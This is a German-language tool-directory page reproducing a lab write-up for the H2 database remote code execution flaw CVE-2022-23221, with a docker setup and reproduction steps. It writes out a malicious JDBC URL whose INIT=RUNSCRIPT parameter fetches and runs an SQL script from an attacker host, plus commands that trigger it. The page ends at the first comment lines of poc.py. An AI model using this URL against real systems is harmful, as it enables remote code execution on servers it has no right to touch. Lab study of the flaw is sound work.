Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
H2-database-CVE-2022-23221 — # vulhub/H2-database/CVE-2022-23221 | Kitploit
Tools/GitHubGitHub/straightsang/h2-database-cve-2022-23221
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungDatenbanksicherheitLabs & Praxis
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

# vulhub/H2-database/CVE-2022-23221

Repository anzeigen
23vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

H2-Datenbank-RCE (CVE-2022-23221)


1. Zusammenfassung

  • Referenz: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 ist ein relationales Datenbankverwaltungssystem, das die Möglichkeit bietet, Java-Code direkt innerhalb der SQL-Engine zu kompilieren und auszuführen.

  • Der H2-Treiber parst die JDBC-URL, um die Verbindung zwischen Anwendung und Datenbank herzustellen. Dabei lassen sich über die in der URL enthaltenen Konfigurationsparameter der Anfangszustand oder das Verhalten der Datenbank steuern.

  • In den problematischen Versionen vor H2 2.1.210 besteht das Problem, dass über den INIT-Parameter der JDBC-URL ein entferntes SQL-Skript ausgeführt werden kann. Ein Angreifer kann dies ausnutzen, indem er ein manipuliertes SQL-Skript aus der Ferne einschleust und über die darin enthaltenen Anweisungen Systembefehle ausführt, wodurch die Schwachstelle CVE-2022-23221 ausgelöst wird.

  • Die Merkmale dieser Schwachstelle sind wie folgt.

    1. Keine Authentifizierung erforderlich: Wer auch nur die Berechtigung hat, eine JDBC-URL einzugeben, kann diese Schwachstelle nutzen, um die Kontrolle über das System zu übernehmen.
    2. Automatische Ausführung beim Dienststart: Wenn ein Angreifer nur die Konfigurationsdatei ändert, tritt beim Start des Dienstes, der h2 verwendet, automatisch eine RCE (Remote-Code-Ausführung) auf.
    3. Verschleierung: Es ist für Entwickler schwierig, den Angriff zu erkennen.
    4. Große Schadensreichweite: Aufgrund der hohen Geschwindigkeit und Leichtgewichtigkeit von H2 wird H2 für Entwicklung und Tests verschiedener Webdienste eingesetzt. Da jede Umgebung, in der die JDBC-URL über eine Konfigurationsdatei oder durch Benutzereingaben festgelegt werden kann, Ziel eines Angriffs mit dieser Schwachstelle sein kann, ist die Auswirkung groß.
  • Betroffener Bereich der Schwachstelle

    • Betroffene Versionen: H2 unter 2.1.210
    • Gepatchte Version: H2 2.1.210 oder höher

2. Bedingungen für die Schwachstelle

  • Es muss eine Version vor H2 2.1.210 sein.
  • Die JDBC-URL muss IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’ enthalten.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> Umgehung der Sicherheitseinstellungen
      • Wenn dieser Parameter vorhanden ist, werden die Sicherheitseinstellungen außer Kraft gesetzt, sodass der Befehl zur Ausführung eines entfernten Skripts bei der Initialisierung nicht blockiert, sondern unverändert ausgeführt wird.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> SQL-Befehl, der bei der Verbindung zwischen Anwendung und DB automatisch ausgeführt wird
      • Wenn der Wert des INIT-Parameters den SQL-Befehl RUNSCRIPT und die Adresse eines schädlichen Skripts enthält, verbindet sich H2 beim Aufbau der Verbindung zwischen Anwendung und H2-DB mit dem entsprechenden Server, lädt die Datei herunter und führt sie aus.
  • Das heruntergeladene SQL-Skript muss die SQL-Anweisung CREATE ALIAS enthalten.
    • Die Anweisung CREATE ALIAS im entfernt auszuführenden Skript bewirkt, dass H2 eine Java-Funktion aus dem Skript innerhalb der DB ausführt, was letztlich zu einer RCE führt.




3. Umgebungseinrichtung

  • Szenario

    • Eine verwundbare H2-Umgebung wird eingerichtet und eine schädliche JDBC-URL in H2 eingegeben. H2 parst diese URL ohne ordnungsgemäße Validierung und lädt eine SQL-Datei vom Angreifer-Server herunter und führt sie aus. Wenn im Protokoll des h2-vulnerable-Servers neben der Zeichenkette „EXPLOITED“ die Ausführungsergebnisse der Befehle id, whoami, pwd ausgegeben werden, bedeutet dies, dass eine verwundbare H2-Umgebung eingerichtet wurde und dass H2 beim Parsen der schädlichen JDBC-URL die Datei exploit.sql von einem externen Angreifer-Server entfernt heruntergeladen und ausgeführt hat.
  • Umgebungseinrichtung

    docker compose up -d 
    

    docker ps

    • Wenn der Befehl ausgeführt wird, werden die folgenden Umgebungen gestartet.
    • h2-vulnerable: H2 2.0.206 (verwundbare Version vor dem Patch)
      • H2-Webkonsole: http://your-ip:8082
      • TCP-Server: tcp://your-ip:9092
    • attacker: HTTP-Server
      • http://your-ip:8000 : stellt die Datei exploit.sql bereit
  • Nach der Konfiguration der Umgebung erscheint beim Zugriff auf http://your-ip:8082 die H2-Webseite.




4. Reproduktionsverfahren

: Da in der Webkonsole Sicherheitsrichtlinien angewendet werden, können die Parameter, die die Schwachstellenbedingungen darstellen, gefiltert werden. Daher wird die Schwachstelle reproduziert, indem die JDBC-URL mit den schädlichen Parametern direkt über die CLI eingegeben wird, und das Ergebnis wird überprüft.

[Fall einer normalen Anfrage]

  • Normale JDBC-URL: "jdbc:h2:mem:test"

  • Befehl für eine normale Anfrage

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • Ausführungsergebnis CLI-basierte Ausführung

    • Keine Anfrage am attacker-Server eingegangen
    • Auf dem h2-vulnerable-Server wurden keine besonderen Logs ausgegeben

[Fall eines Schwachstellenangriffs]

  • Bösartige JDBC-URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. Angriffsausführung

  • Durch Eingabe einer schädlichen JDBC-URL in den H2-Treiber wird eine Verbindung zum attacker-Server versucht. Dabei gibt es zwei Möglichkeiten, die URL einzugeben.

    1. Die schädliche JDBC-URL wird direkt über die CLI in die H2 Shell eingegeben.
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    CLI-basierte Ausführung

    1. Die PoC-Datei wird ausgeführt.
    python3 poc.py
    

    Ausführung von poc.py

2. Dateianfrage und -ausführung

  • H2 fordert gemäß INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql', das im INIT-Parameter der JDBC-URL angegeben ist, die Datei exploit.sql vom attacker-Server an (HTTP GET) und führt diese innerhalb der H2-Datenbank aus.

    1. Durch Ausführen von docker logs attacker können die Logs der vom h2-vulnerable-Server eingegangenen Anfrage nach der Datei exploit.sql überprüft werden.
    docker logs attacker
    

    1. Der attacker-Server gibt die angeforderte Datei exploit.sql zurück, und der h2-vulnerable-Server führt die empfangene Datei exploit.sql aus. Dabei löst die CREATE ALIAS-Anweisung innerhalb des Skripts die Ausführung von Java-Code aus, wodurch RCE auftritt.


5. poc.py-Code

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
Tool herunterladen